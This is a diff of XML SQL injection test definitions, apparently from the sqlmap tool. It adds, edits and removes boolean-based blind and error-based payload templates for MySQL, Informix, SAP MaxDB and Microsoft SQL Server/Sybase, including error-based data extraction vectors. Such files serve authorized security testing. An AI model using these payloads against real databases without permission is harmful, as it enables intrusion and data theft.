||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -536,12 +612,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -556,12 +632,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -841,6 +917,44 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix boolean-based blind - Parameter replace</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Informix boolean-based blind - Parameter replace (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Informix</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft Access boolean-based blind - Parameter replace</title>
|
||||
<stype>1</stype>
|
||||
@@ -879,44 +993,6 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP MaxDB boolean-based blind - Parameter replace</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP MaxDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SAP MaxDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>Boolean-based blind - Parameter replace (DUAL)</title>
|
||||
@@ -951,6 +1027,40 @@ Tag: <test>
|
||||
</test>
|
||||
<!-- End of boolean-based blind tests - Parameter replace -->
|
||||
|
||||
<!-- Works in SAP MaxDB, Informix, etc. -->
|
||||
<test>
|
||||
<title>Boolean-based blind - Parameter replace (CASE)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)</comparison>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Boolean-based blind - Parameter replace (CASE) (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
|
||||
</response>
|
||||
</test>
|
||||
<!-- End of boolean-based blind tests - Parameter replace -->
|
||||
|
||||
<!-- Boolean-based blind tests - ORDER BY, GROUP BY clause -->
|
||||
<test>
|
||||
<title>MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||
@@ -959,12 +1069,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -979,12 +1089,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -999,12 +1109,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -1019,12 +1129,12 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -1261,13 +1371,13 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)</vector>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)</payload>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)</comparison>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
@@ -1282,13 +1392,13 @@ Tag: <test>
|
||||
<risk>1</risk>
|
||||
<clause>0</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)</vector>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)</payload>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)</comparison>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
|
||||
@@ -139,13 +139,13 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
|
||||
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
-->
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -164,13 +164,13 @@
|
||||
<clause>1,2,3,9</clause>
|
||||
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
||||
<where>1</where>
|
||||
<vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
|
||||
<vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
-->
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -388,12 +388,54 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause</title>
|
||||
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
|
||||
<stype>2</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
|
||||
@@ -409,9 +451,9 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause</title>
|
||||
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)</title>
|
||||
<stype>2</stype>
|
||||
<level>1</level>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
@@ -471,48 +513,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle AND error-based - WHERE or HAVING clause (XMLType)</title>
|
||||
<stype>2</stype>
|
||||
@@ -804,13 +804,13 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
|
||||
<vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
